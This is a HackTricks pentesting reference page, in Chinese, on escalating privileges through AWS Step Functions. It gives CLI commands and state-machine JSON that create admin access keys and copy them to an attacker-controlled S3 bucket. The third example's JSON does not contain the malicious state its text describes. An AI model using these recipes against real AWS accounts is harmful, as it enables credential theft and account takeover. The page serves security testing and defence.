AWS - Step Functions Privesc

支持 HackTricks

Step Functions

有关此 AWS 服务的更多信息,请查看:

AWS - Step Functions Enum

任务资源

这些权限提升技术将需要使用一些 AWS Step Function 资源,以执行所需的权限提升操作。

为了检查所有可能的操作,您可以访问自己的 AWS 账户,选择您想要使用的操作,并查看它所使用的参数,如下所示:

或者您也可以访问 AWS API 文档,查看每个操作的文档:

states:TestState & iam:PassRole

拥有 states:TestStateiam:PassRole 权限的攻击者可以测试任何状态并将任何 IAM 角色传递给它,而无需创建或更新现有的状态机,从而可能未经授权访问其他 AWS 服务及其角色权限。结合起来,这些权限可能导致广泛的未经授权的操作,从操纵工作流以更改数据到数据泄露、资源操纵和权限提升。

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

以下示例展示了如何测试一个为 admin 用户创建访问密钥的状态,利用这些权限和 AWS 环境的宽松角色。这个宽松角色应该与任何高权限策略相关联(例如 arn:aws:iam::aws:policy/AdministratorAccess),允许该状态执行 iam:CreateAccessKey 操作:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • 命令 执行以进行权限提升:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

潜在影响:未经授权的工作流执行和操控以及对敏感资源的访问,可能导致重大的安全漏洞。

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

拥有 states:CreateStateMachineiam:PassRole 的攻击者将能够创建一个状态机并为其提供任何 IAM 角色,从而使其能够未经授权地访问其他 AWS 服务的角色权限。与之前的权限提升技术 (states:TestState & iam:PassRole) 相比,这种技术本身并不执行,您还需要拥有 states:StartExecutionstates:StartSyncExecution 权限 (states:StartSyncExecution 对于标准工作流 不可用仅适用于表达状态机) 以便启动状态机的执行。

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

以下示例展示了如何创建一个状态机,该状态机为 admin 用户创建一个访问密钥,并将此访问密钥导出到攻击者控制的 S3 存储桶,利用这些权限和 AWS 环境的宽松角色。此宽松角色应与任何高权限策略相关联(例如 arn:aws:iam::aws:policy/AdministratorAccess),允许状态机执行 iam:CreateAccessKeys3:putObject 操作。

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • 命令 执行以 创建状态机

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • 命令 执行以 启动执行 之前创建的状态机:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

攻击者控制的 S3 存储桶应具有接受来自受害者账户的 s3:PutObject 操作的权限。

潜在影响:未经授权的工作流执行和操控以及对敏感资源的访问,可能导致重大的安全漏洞。

states:UpdateStateMachine & (不总是需要) iam:PassRole

拥有 states:UpdateStateMachine 权限的攻击者将能够修改状态机的定义,能够添加额外的隐蔽状态,这可能导致特权提升。这样,当合法用户启动状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。

根据与状态机关联的 IAM 角色的权限程度,攻击者将面临两种情况:

  1. 宽松的 IAM 角色:如果与状态机关联的 IAM 角色已经是宽松的(例如,它附加了 arn:aws:iam::aws:policy/AdministratorAccess 策略),那么为了提升特权,iam:PassRole 权限将不是必需的,因为不需要更新 IAM 角色,仅更新状态机定义就足够。

  2. 不宽松的 IAM 角色:与前一种情况相反,在这里攻击者还需要 iam:PassRole 权限,因为除了修改状态机定义外,还需要将一个宽松的 IAM 角色与状态机关联。

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

以下示例展示了如何更新一个合法的状态机,该状态机仅调用一个 HelloWorld Lambda 函数,以添加一个额外的状态,将用户 unprivilegedUser 添加到 administrator IAM 组。这样,当一个合法用户启动更新后的状态机的执行时,这个新的恶意隐蔽状态将被执行,特权提升将成功。

如果状态机没有关联一个宽松的 IAM 角色,则还需要 iam:PassRole 权限来更新 IAM 角色,以便关联一个宽松的 IAM 角色(例如,附加了 arn:aws:iam::aws:policy/AdministratorAccess 策略的角色)。

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • 命令 执行以 更新 合法状态机

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

潜在影响:未经授权的工作流执行和操控以及对敏感资源的访问,可能导致重大的安全漏洞。

支持 HackTricks

Last updated